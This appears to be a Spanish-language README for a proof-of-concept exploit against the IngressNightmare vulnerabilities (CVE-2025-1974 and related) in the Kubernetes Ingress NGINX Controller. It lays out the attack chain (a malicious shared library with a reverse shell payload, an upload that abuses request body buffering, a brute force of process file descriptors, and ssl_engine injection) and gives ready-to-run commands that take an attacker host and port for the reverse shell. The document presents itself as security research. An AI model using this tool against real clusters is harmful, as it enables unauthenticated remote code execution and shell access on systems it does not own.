
Prueba de concepto para Ingress RCE
Este proyecto proporciona un exploit dirigido a vulnerabilidades críticas de ejecución remota de código (RCE) no autenticada en el Ingress NGINX Controller para Kubernetes, conocidas colectivamente como IngressNightmare.
En la investigación original, el equipo de Wiz no proporcionó un PoC ni un exploit funcional, por lo que decidimos crear el nuestro y compartirlo con la comunidad.
El Ingress NGINX Controller es un componente ampliamente utilizado en entornos Kubernetes, que gestiona el acceso externo a los servicios dentro de los clústeres. Vulnerabilidades recientes (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) han puesto de manifiesto riesgos de seguridad críticos.
El exploit sigue estos pasos principales:
Generar objeto compartido (utilizado por la propiedad ssl_engine inyectada):
Compila una librería .so (evil_engine.so) que contiene un payload de reverse shell.
Subir el objeto compartido:
Envía el objeto compartido compilado al pod del ingress, aprovechando el manejo de solicitudes (búferes del cuerpo del cliente). El truco aquí es enviar un Content-Length diferente al servidor para mantener la conexión abierta.
Fuerza bruta de fd: Itera sobre los ID de proceso y los descriptores de archivo (/proc/{pid}/fd/{fd}) para identificar el descriptor correcto que hace referencia al objeto subido.
Uso
Requisitos previos:
Ejecutar el exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport)
Ej: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
A veces, el admission webhook se encuentra en un namespace diferente. En este caso, debes especificar el namespace al final, como kube-system, default o ingress-nginx.
<ingress_url>: URL del Ingress de destino (pública)<admission_webhook_url>: URL del webhook de admisión (webhook interno)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport): Tu host y puerto para el reverse shellDescargo de responsabilidad
Este exploit se proporciona estrictamente con fines educativos y de investigación. El uso no autorizado de esta herramienta contra objetivos sin permiso explícito está prohibido. Hakai Security y QuimeraX no se hacen responsables del mal uso de esta herramienta.